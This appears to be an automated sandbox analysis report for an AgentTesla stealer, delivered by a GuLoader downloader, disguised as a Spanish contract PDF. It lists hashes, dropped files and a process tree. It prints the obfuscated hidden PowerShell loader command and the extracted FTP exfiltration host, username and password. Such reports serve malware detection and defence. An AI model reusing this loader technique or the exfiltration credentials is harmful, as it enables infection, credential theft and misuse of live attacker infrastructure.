Analysis

  • max time kernel
    0s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20231130-en
  • resource tags

    arch:x64arch:x86image:win7-20231130-enlocale:en-usos:windows7-x64system
  • submitted
    07-12-2023 16:45

General

  • Target

    ANÁLISIS DEL CONTRATO-pdf.exe

  • Size

    703KB

  • MD5

    1a19d3b35592f19f97ad7c43b0a875e6

  • SHA1

    38fd4bb32e9b5a0d58413954bed06aadb3e714ba

  • SHA256

    35e6acc4ddeace130bae6e47e1e1062862fd7f6b4fecf8136dd3e109c5011aa4

  • SHA512

    8f9de97ca969b26809fc47101091c20895bcc35793a331d22cc7fa32929fcc2229eb7b99b44d3a070431adc0795d5c81175e8fb98688a73382d72d4ad3ebf0f4

  • SSDEEP

    12288:ywFGHEJsv/EqlEyhS6fOaoceSZylgimtdYM3O0V7bbb:y5HEJsHEqlHSkElgZtub0V7j

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.vvspijkenisse.nl
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    playingboyz231

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\ANÁLISIS DEL CONTRATO-pdf.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Raastegendes=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.Evi';$Impoundage=$Raastegendes.SubString(56924,3);.$Impoundage($Raastegendes)"
      2⤵
        PID:1660
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
          3⤵
            PID:2064

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

        Filesize

        32B

        MD5

        a8ca1db6ae34f5e5c152094f44f92476

        SHA1

        9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

        SHA256

        1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

        SHA512

        e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

      • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Forsyningsskib.Evi

        Filesize

        55KB

        MD5

        b2c54dadf0aec1e7b39900949f8d1679

        SHA1

        2e4c3297515729015c62453cc6fb44f629e89f4e

        SHA256

        b7460b0941c2246ab083dc1d337ba1f1dcc78c0372b7cc1c7e1378b56895846e

        SHA512

        7b9fb5354681317348e8c38c2698b6fd10cdba6d0022c2c6e5036094c4a18c2daf2ce5d596256a97114003b1cdc10ae0cf944846fb25ed5e3117f16c9a864f74

      • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nondesulfurization\Tetrodotoxin\Uglegylpet225\Rejsebureau\Senaternes.Roy

        Filesize

        295KB

        MD5

        0a7d7f667c023342453da0b0e1acfa13

        SHA1

        d0afd80a5fba0e1ef7388144ff2962fd171f79d1

        SHA256

        667135c582b072003c3f6781280df0a00da6830e3efcb7a5e8e53f8f32cf650e

        SHA512

        702661ed98f65d13afc5a6184881561deb3eea979a5a1bbcf1f22eab537e723a3a644eb7878b15ad71a062faa2d521fd706e2bf37ca9345a501c9b39004721d2

      • memory/1660-174-0x0000000073670000-0x0000000073C1B000-memory.dmp

        Filesize

        5.7MB

      • memory/1660-181-0x0000000006830000-0x0000000007B39000-memory.dmp

        Filesize

        19.0MB

      • memory/1660-161-0x0000000073670000-0x0000000073C1B000-memory.dmp

        Filesize

        5.7MB

      • memory/1660-164-0x0000000000280000-0x00000000002C0000-memory.dmp

        Filesize

        256KB

      • memory/1660-165-0x0000000000280000-0x00000000002C0000-memory.dmp

        Filesize

        256KB

      • memory/1660-169-0x00000000055F0000-0x00000000055F4000-memory.dmp

        Filesize

        16KB

      • memory/1660-170-0x0000000006830000-0x0000000007B39000-memory.dmp

        Filesize

        19.0MB

      • memory/1660-171-0x0000000006830000-0x0000000007B39000-memory.dmp

        Filesize

        19.0MB

      • memory/1660-173-0x0000000076FD0000-0x00000000770A6000-memory.dmp

        Filesize

        856KB

      • memory/1660-163-0x0000000000280000-0x00000000002C0000-memory.dmp

        Filesize

        256KB

      • memory/1660-172-0x0000000076DE0000-0x0000000076F89000-memory.dmp

        Filesize

        1.7MB

      • memory/1660-162-0x0000000073670000-0x0000000073C1B000-memory.dmp

        Filesize

        5.7MB

      • memory/1660-177-0x0000000000280000-0x00000000002C0000-memory.dmp

        Filesize

        256KB

      • memory/2064-175-0x0000000000A40000-0x0000000001D49000-memory.dmp

        Filesize

        19.0MB

      • memory/2064-178-0x000000006F160000-0x00000000701C2000-memory.dmp

        Filesize

        16.4MB

      • memory/2064-179-0x0000000000A40000-0x0000000001D49000-memory.dmp

        Filesize

        19.0MB

      • memory/2064-182-0x000000006EA70000-0x000000006F15E000-memory.dmp

        Filesize

        6.9MB

      • memory/2064-176-0x0000000076DE0000-0x0000000076F89000-memory.dmp

        Filesize

        1.7MB

      • memory/2064-180-0x000000006F160000-0x000000006F1A0000-memory.dmp

        Filesize

        256KB

      • memory/2064-184-0x0000000000A40000-0x0000000001D49000-memory.dmp

        Filesize

        19.0MB

      • memory/2064-186-0x000000006EA70000-0x000000006F15E000-memory.dmp

        Filesize

        6.9MB